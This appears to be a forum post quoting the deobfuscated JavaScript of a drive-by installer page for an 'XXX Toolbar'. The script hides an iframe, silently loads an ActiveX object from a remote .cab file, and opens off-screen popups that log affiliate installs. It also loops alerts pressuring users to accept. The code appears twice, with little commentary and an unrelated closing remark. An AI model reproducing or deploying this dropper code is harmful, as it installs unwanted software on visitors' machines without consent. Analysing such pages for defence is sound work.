Here is the source of the php after the server converts it to code.
<!--
document.write('<iframe id="downloads_manager" style="position:absolute; visibility:hidden;"></iframe>');
function retryit(){
if(retry>0) {
alert("Download ABORTED -- You must click YES to download\nXXX Toolbar and get access to FREE porn!");
start_download();
retry--;
}
}
function start_download() {
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
if ( navigator.platform && navigator.platform != 'Win32' ) { alert("Sorry, your browser is not WIN32 Compatible"); }
if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
downloads_manager.document.close();
downloads_manager.document.write('<html><body>');
downloads_manager.document.write('<OBJECT id="bar_object" width=1 height=1 classid="CLSID:018B7EC3-EECA-11D3-8E71-0000E82C6C0D"');
downloads_manager.document.write('codebase="http://www.xxxtoolbar.com/ist/softwares/v3.0/0006.cab" onerror="parent.retryit();">');
downloads_manager.document.write('<PARAM name="account_id" value="125781">');
downloads_manager.document.write('<PARAM name="download_key" value="ea4862c487fc8ef496df4b43dce92eee">');
downloads_manager.document.write('<PARAM name="download_lock" value="1069131369">')
downloads_manager.document.write('</OBJECT>');
downloads_manager.document.write('</body></html>');
window.open("http://install.xxxtoolbar.com/ist/scripts/log_downloads.php?auto_close=1&software_id=0006&account_id=125781&payable=1&country=US","_blank","top=10000, left=100000");
}
}
function start_download_loadfirst() {
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
if ( navigator.platform && navigator.platform != 'Win32' ) { alert("Sorry, your browser is not WIN32 Compatible"); }
if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
document.write('<OBJECT id="bar_object" width=1 height=1 classid="CLSID:018B7EC3-EECA-11D3-8E71-0000E82C6C0D"');
document.write('codebase="http://www.xxxtoolbar.com/ist/softwares/v3.0/0006.cab" onerror="parent.retryit();">');
document.write('<PARAM name="account_id" value="125781">');
document.write('<PARAM name="download_key" value="ea4862c487fc8ef496df4b43dce92eee">');
document.write('<PARAM name="download_lock" value="1069131369">')
document.write('</OBJECT>');
window.open("http://install.xxxtoolbar.com/ist/scripts/log_downloads.php?auto_close=1&software_id=0006&account_id=125781&payable=1&country=US","_blank","top=10000, left=100000");
}
}
// -->
<!--
var currentDate = new Date();
var adRecurrence = "";
var adId = "100000";
var adExpiration = 0;
var retry=0;
var obj=null;
function SetCookie(sName, sValue, sExpire){
var expireCode = "";
if (sExpire) { expireCode = "expires=" + sExpire + ";" }
document.cookie = sName + "=" + escape(sValue) + ";" + expireCode
}
function GetCookie(sName) {
var aCookie = document.cookie.split("; ");
for (var i=0; i < aCookie.length; i++) {
var aCrumb = aCookie[i].split("=");
if (sName == aCrumb[0]) { return unescape(aCrumb[1]); }
}
return null;
}
function upop() {
var url = "http://www.xxxtoolbar.com/ist/scripts/downloads_manager.php?pevent_type=&retry=0&ref=&";
var win=& #39;toolbar=1,location=1,directories=0,menubar=0,scrollbars=1,resizable=1,top=11
0,left=2000,width=600,height=500'
window.open(url,'pop',win);
if(obj)
obj();
}
if (!GetCookie(adId)) {
SetCookie(adId,"1", adExpiration);
start_download();
}
//-->
.............................................................................................................
See two more branching links
http://www.xxxtoolbar.com/ist/scripts/downloads_manager.php<!--
document.write('<iframe id="downloads_manager" style="position:absolute; visibility:hidden;"></iframe>');
function retryit(){
if(retry>0) {
alert("Download ABORTED -- You must click YES to download\nXXX Toolbar and get access to FREE porn!");
start_download();
retry--;
}
}
function start_download() {
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
if ( navigator.platform && navigator.platform != 'Win32' ) { alert("Sorry, your browser is not WIN32 Compatible"); }
if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
downloads_manager.document.close();
downloads_manager.document.write('<html><body>');
downloads_manager.document.write('<OBJECT id="bar_object" width=1 height=1 classid="CLSID:018B7EC3-EECA-11D3-8E71-0000E82C6C0D"');
downloads_manager.document.write('codebase="http://www.xxxtoolbar.com/ist/softwares/v3.0/0006.cab" onerror="parent.retryit();">');
downloads_manager.document.write('<PARAM name="account_id" value="125781">');
downloads_manager.document.write('<PARAM name="download_key" value="4e1389e620e74991e0f0b4ac00fff565">');
downloads_manager.document.write('<PARAM name="download_lock" value="1069131677">')
downloads_manager.document.write('</OBJECT>');
downloads_manager.document.write('</body></html>');
window.open("http://install.xxxtoolbar.com/ist/scripts/log_downloads.php?auto_close=1&software_id=0006&account_id=125781&payable=1&country=US","_blank","top=10000, left=100000");
}
}
function start_download_loadfirst() {
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
if ( navigator.platform && navigator.platform != 'Win32' ) { alert("Sorry, your browser is not WIN32 Compatible"); }
if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
document.write('<OBJECT id="bar_object" width=1 height=1 classid="CLSID:018B7EC3-EECA-11D3-8E71-0000E82C6C0D"');
document.write('codebase="http://www.xxxtoolbar.com/ist/softwares/v3.0/0006.cab" onerror="parent.retryit();">');
document.write('<PARAM name="account_id" value="125781">');
document.write('<PARAM name="download_key" value="4e1389e620e74991e0f0b4ac00fff565">');
document.write('<PARAM name="download_lock" value="1069131677">')
document.write('</OBJECT>');
window.open("http://install.xxxtoolbar.com/ist/scripts/log_downloads.php?auto_close=1&software_id=0006&account_id=125781&payable=1&country=US","_blank","top=10000, left=100000");
}
}
// -->
...................................................................................................................
http://install.xxxtoolbar.com/ist/scripts/log_downloads.phpNo converted source code.
................................................................................................
It logs you
also get iceext which is the new memory dumper etc.. no mp3 playing :| im working on it as we speak a mp3.vxd to work with softice
